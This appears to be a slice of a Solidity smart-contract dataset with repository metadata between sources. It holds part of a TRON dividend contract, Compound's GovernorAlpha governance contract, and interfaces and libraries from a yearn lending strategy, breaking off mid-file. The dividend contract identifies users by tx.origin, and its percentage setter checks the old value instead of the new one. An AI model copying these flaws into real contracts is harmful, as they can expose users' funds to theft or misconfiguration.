mapping (address => uint256) public divPaidAllTimeUsersTRX; //maps to user address => trx amount
mapping (address => mapping(address => uint256)) public divPaidAllTimeUsersTRC20; //maps to user address => token address => token amount
//user withdraw dividend TRX
event DividendWithdrawTRX(address indexed user, uint256 indexed dividendAmountTRX);
//user withdraw TRC20
event DividendWithdrawTRC20(address user, address tokenAddress, uint256 dividendAmountTRC20);
//DividendPaid by admin in TRX
event DividendPaidTRX(uint256 indexed amount);
//DividendPaid by admin in TRC20
event DividendPaidTRC20(address tokenAddress, uint256 indexed amount);
constructor() public { }
function () payable external {}
function distributeDividendTRX() public returns(uint256){
uint256 vouchersBurnedTotal = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
require(vouchersBurnedTotal > 0, 'none has burned the vouchers');
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
//calling voucher token contract to update mintingBasePricing
InterfaceVoucherTOKEN(voucherTokenContract).changeMintingBasePriceWhileDivDistro();
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
address gameAddress = whitelistCallerArray[i];
uint256 amount = InterfaceGAMES(gameAddress).getAvailableVoucherRake();
if(amount > 0){
//if status is true, which means particular game has positive dividend available
totalDividend += amount;
//we will request that dividend TRX from game contract to this token contract
require(InterfaceGAMES(gameAddress).requestVoucherRakePayment(), 'could not transfer trx');
}
}
lastDividendPaidTime = now;
if(totalDividend > 0 || dividendAccumulated > 0){
uint256 finalDividendAmount = totalDividend + dividendAccumulated;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
uint256 payableAmount = finalDividendAmount * divPercentageSUN / 100 / 1000000;
//if dividend % is less than 100%, then track that remainder in another variable
if(divPercentageSUN < 100000000){
dividendRemainder += finalDividendAmount * (100000000 - divPercentageSUN) / 100 / 1000000;
}
//update variables
dividendAccumulated = 0;
//update dividend trackers
dividendTrackerWhileDistribution(address(0), payableAmount, vouchersBurnedTotal);
emit DividendPaidTRX(payableAmount);
return payableAmount;
}
}
function distributeDividendTRC20(address tokenAddress) public onlySigner returns(bool){
//distributing trc20 will consider both burned tokens as well as total supply exist
uint256 currentVoucherSupply = InterfaceVoucherTOKEN(voucherTokenContract).totalSupply();
uint256 vouchersBurnedAllTime = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
uint256 dividedAmount = (currentVoucherSupply + vouchersBurnedAllTime) * 100;
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
require(InterfaceVoucherTOKEN(tokenAddress).transferFrom(owner, address(this), dividedAmount), 'could not transfer tokens');
require(whitelistCaller[tokenAddress], 'Please add trc20 token contract address first');
require(dividedAmount > 0, 'dividedAmount cant be zero');
require((currentVoucherSupply + vouchersBurnedAllTime) > 0, 'There are no vouchers existed');
//update dividend trackers
dividendTrackerWhileDistribution(tokenAddress, dividedAmount, currentVoucherSupply + vouchersBurnedAllTime);
lastDividendPaidTime = now;
emit DividendPaidTRC20(tokenAddress, dividedAmount);
return true;
}
function dividendTrackerWhileDistribution(address tokenAddress, uint256 dividedAmount, uint256 voucherBurnedCurrently) internal {
divPaidAllTime[tokenAddress] += dividedAmount; //address 0x0 for TRX
voucherBurnedAtDivDistribution += voucherBurnedCurrently;
totalDividendsPaidNumber++;
}
function updateDivPercentageSUN(uint256 newPercentSUN) public onlyOwner returns(string){
require(divPercentageSUN <= 100000000, 'percentage cant be more than 100%');
divPercentageSUN = newPercentSUN;
return "done";
}
function reInvestDividendRemainder() public payable onlyOwner returns(string){
require(dividendRemainder > 0 || msg.value > 0, 'dividendRemainder cant be zero');
dividendAccumulated = dividendRemainder + msg.value;
dividendRemainder=0;
return "dividendRemainder is sent to div pool";
}
function withdrawDividendsEverything() public returns(bool){
//tx.origin is because it will take original caller even if user is calling via another contract.
address user = tx.origin;
address tokenAddress = topiaTokenContract;
require(!globalHalt, 'Global halt is on');
//withdraw any outstanding trx or trc20 tokens Start ---------------------
//TRX withdraw
uint256 outstandingDivTRX = userConfirmedDividendTRX(user);
if(outstandingDivTRX > 0){
user.transfer(outstandingDivTRX);
emit DividendWithdrawTRX(user, outstandingDivTRX);
}
//TRC20 Topia withdraw
uint256 outstandingDivTRC20 = userConfirmedDividendTRC20(user, tokenAddress);
if(outstandingDivTRC20 > 0){
InterfaceVoucherTOKEN(tokenAddress).transfer(user, outstandingDivTRC20);
emit DividendWithdrawTRC20(user, tokenAddress, outstandingDivTRC20);
}
//withdraw any outstanding trx or trc20 tokens END ---------------------
//Updating user's dividend tracker START ---------------------
//these tracker variables will be used in calculating share percentage of div pool
totalburnedVouchersTracker[user] = voucherBurnedAtDivDistribution;
//this will track all the dividend distribution attempts.
noOfDivPaidAfterBurn[user] = totalDividendsPaidNumber;
//following will set value for each tokens and TRX at time of this action
//TRX withdraw tracked
divPaidAllTimeUsersTRX[user] = divPaidAllTime[address(0)];
//TRC20 withdraw tracked
divPaidAllTimeUsersTRC20[user][tokenAddress] = divPaidAllTime[tokenAddress];
//Updating user's dividend tracker END ---------------------
return true;
}
function userConfirmedDividendTRX(address user) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
//if there are more dividend distribution after user has frozen topia
uint256 divPaidAllTimeUsers = divPaidAllTimeUsersTRX[user];
if(divPaidAllTime[address(0)] > divPaidAllTimeUsers && userVouchersBurned > 0){
//finding all the subsequent dividends distributed by admin
//all three below trackers can never be zero due to above condition
uint256 newDividendPoolAmount = divPaidAllTime[address(0)] - divPaidAllTimeUsers;
uint256 totalVouchersBurned = voucherBurnedAtDivDistribution - totalburnedVouchersTracker[user];
uint256 totalNoOfDivPaid = totalDividendsPaidNumber - noOfDivPaidAfterBurn[user];
//first calculating user share percentage = user freeze tokens * 100 / total frozen tokens
//the reason for the decimals variable is to have sharePercentage variable have more decimals.
uint256 sharePercentage = userVouchersBurned * 100 * 1000000 / (totalVouchersBurned / totalNoOfDivPaid) ;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 0){
return newDividendPoolAmount * sharePercentage / 100 / 1000000;
}
}
//by default it will return zero
}
function userConfirmedDividendTRC20(address user, address tokenAddress) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
//if there are more dividend distribution after user has frozen topia
if(divPaidAllTime[tokenAddress] > divPaidAllTimeUsersTRC20[user][tokenAddress] && userVouchersBurned > 0){
//finding all the subsequent dividends distributed by admin
//all three below trackers can never be zero due to above condition
uint256 newDividendPoolAmount = divPaidAllTime[tokenAddress] - divPaidAllTimeUsersTRC20[user][tokenAddress];
uint256 totalVouchersBurned = voucherBurnedAtDivDistribution - totalburnedVouchersTracker[user];
uint256 totalNoOfDivPaid = totalDividendsPaidNumber - noOfDivPaidAfterBurn[user];
//first calculating user share percentage = user freeze tokens * 100 / total frozen tokens
//the reason for the decimals variable is to have sharePercentage variable have more decimals.
uint256 sharePercentage = userVouchersBurned * 100 * 1000000 / (totalVouchersBurned / totalNoOfDivPaid) ;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 0){
return newDividendPoolAmount * sharePercentage / 100 / 1000000;
}
}
//by default it will return zero
}
function getDividendPotentialTRX() public view returns(uint256){
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVoucherRake();
if(amount > 0){
totalDividend += amount;
}
}
if(totalDividend > 0 || dividendAccumulated > 0){
return totalDividend + dividendAccumulated;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
//return (totalAmount * divPercentageSUN / 100 / 1000000);
}
//by default it returns zero
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
function manualWithdrawTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner returns(string){
// no need for overflow checking as that will be done in transfer function
InterfaceVoucherTOKEN(tokenAddress).transfer(owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function changeGlobalHalt() onlyOwner public returns(string) {
if (globalHalt == false){
globalHalt = true;
}
else{
globalHalt = false;
}
return "globalHalt status changed";
}
function totalTRXbalanceContract() public view returns(uint256){
return address(this).balance;
}
function updateContractAddresses(address voucherTokenContract_, address topiaTokenContract_) public onlyOwner returns(string){
voucherTokenContract = voucherTokenContract_;
topiaTokenContract = topiaTokenContract_;
return("contract addresses updated successfully");
}
}
| 302,159 | 1,704 |
8a0553ad8bd250fc18710315dee64e3425550589c6466c01c3227fd8c7b3f1d4
| 14,874 |
.sol
|
Solidity
| false |
374173470
|
garyb9/eth-defi-testing
|
bb77c887b4bc3d15d272e9bbb94ac955187bb345
|
compound/contracts/compound-protocol/Governance/GovernorAlpha.sol
| 3,484 | 14,560 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of Comp
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Comp
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 8,326 | 1,705 |
14ca32e8599ed85e767af82ce44da6e41a571b2e55ebb0ddba160a7365abd630
| 35,284 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB9970644D2947ae870ff12B13D62Ed71d8641f5D/contract.sol
| 5,303 | 20,299 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 rateLimit;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IBaseStrategy
interface IBaseStrategy {
function apiVersion() external pure returns (string memory);
function name() external pure returns (string memory);
function vault() external view returns (address);
function keeper() external view returns (address);
function tendTrigger(uint256 callCost) external view returns (bool);
function tend() external;
function harvestTrigger(uint256 callCost) external view returns (bool);
function harvest() external;
function strategist() external view returns (address);
}
// Part: IGenericLender
interface IGenericLender {
function lenderName() external view returns (string memory);
function nav() external view returns (uint256);
function strategy() external view returns (address);
function apr() external view returns (uint256);
function weightedApr() external view returns (uint256);
function withdraw(uint256 amount) external returns (uint256);
function emergencyWithdraw(uint256 amount) external;
function deposit() external;
function withdrawAll() external returns (bool);
function hasAssets() external view returns (bool);
function aprAfterDeposit(uint256 amount) external view returns (uint256);
function setDust(uint256 _dust) external;
function sweep(address _token) external;
}
// Part: InterestRateModel
interface InterestRateModel {
function getBorrowRate(uint256 cash,
uint256 borrows,
uint256 reserves) external view returns (uint256, uint256);
function getSupplyRate(uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa) external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Address
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: CTokenI
interface CTokenI {
event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);
event RepayBorrow(address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows);
event LiquidateBorrow(address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);
event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves);
event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Failure(uint256 error, uint256 info, uint256 detail);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(address src,
address dst,
uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (uint256,
uint256,
uint256,
uint256);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() external returns (uint256);
function interestRateModel() external view returns (InterestRateModel);
function totalReserves() external view returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function seize(address liquidator,
address borrower,
uint256 seizeTokens) external returns (uint256);
function totalBorrows() external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function apiVersion() external pure returns (string memory);
function withdraw(uint256 shares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function creditAvailable() external view returns (uint256);
function debtOutstanding() external view returns (uint256);
function expectedReturn() external view returns (uint256);
function report(uint256 _gain,
uint256 _loss,
uint256 _debtPayment) external returns (uint256);
function revokeStrategy() external;
function governance() external view returns (address);
}
